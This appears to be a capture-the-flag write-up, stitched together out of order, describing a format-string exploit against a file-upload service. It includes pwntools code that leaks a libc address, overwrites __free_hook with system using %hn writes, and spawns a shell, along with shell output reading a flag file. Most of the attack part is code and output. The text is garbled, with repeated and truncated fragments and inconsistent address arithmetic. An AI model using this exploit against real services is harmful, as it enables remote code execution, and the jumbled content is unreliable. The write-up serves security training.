payload = b'A'*8 # padding for alignment payload += f"%lowc%8$hn".encode() payload += f"%high-lowc%9$hn".encode() payload += b'B'*8 payload += p64(target) # argument 8 payload += p64(target+2) # argument 9 Send the payload with echo and the service writes the low and high halves of system into __free_hook . Now we need a chunk that contains the string "/bin/sh" . The simplest way is to upload a file named sh.txt with that exact content.
def main(): io = remote(HOST, PORT)
libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository):
from pwn import *
# 1️⃣ Leak libc libc_base = leak_libc(io)
> download sh.txt /bin/sh $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $ cat /flag.txt FLAGSONE_127_2021_4c7f5b Success! #!/usr/bin/env python3 # -*- coding: utf-8 -*-
%addr_lowc%8$hn%addr_highc%9$hn Because the target address ( __free_hook ) is 8‑byte aligned, we split it into two 2‑byte halves and write with %hn (write 2 bytes). SONE-127 2021
# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base)
# Trigger free -> system io.sendlineafter(b'> ', b'download sh.txt') io.interactive()
> echo %7$p 0x7f5c1a2b2e30 The address 0x7f5c1a2b2e30 belongs to the (high address > 0x7f000000). payload = b'A'*8 # padding for alignment payload
def pack_addr(addr): return p64(addr)
# 3️⃣ Get a shell get_shell(io)
if __name__ == '__main__': main()
| Function | Purpose | |----------|---------| | leak_libc | Uses the format‑string to leak a libc address and compute the base. | | write_free_hook | Crafts a two‑write %hn payload that stores system at __free_hook . | | get_shell | Uploads a chunk containing /bin/sh and then frees it, invoking system . | | main | Orchestrates the steps and drops
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6..., stripped PIE: No, RELRO: Partial, Stack: Canary found, NX: Enabled, PIE: No, RPATH: [] 3.1 Interaction > help Commands: echo <msg> - Echoes back the message calc <expr> - Evaluates a simple arithmetic expression upload <filename> - Upload a file to the server download <filename> - Download a file from the server exit - Quit The only interesting command is echo . Sending a long string revealed an unintended format‑string :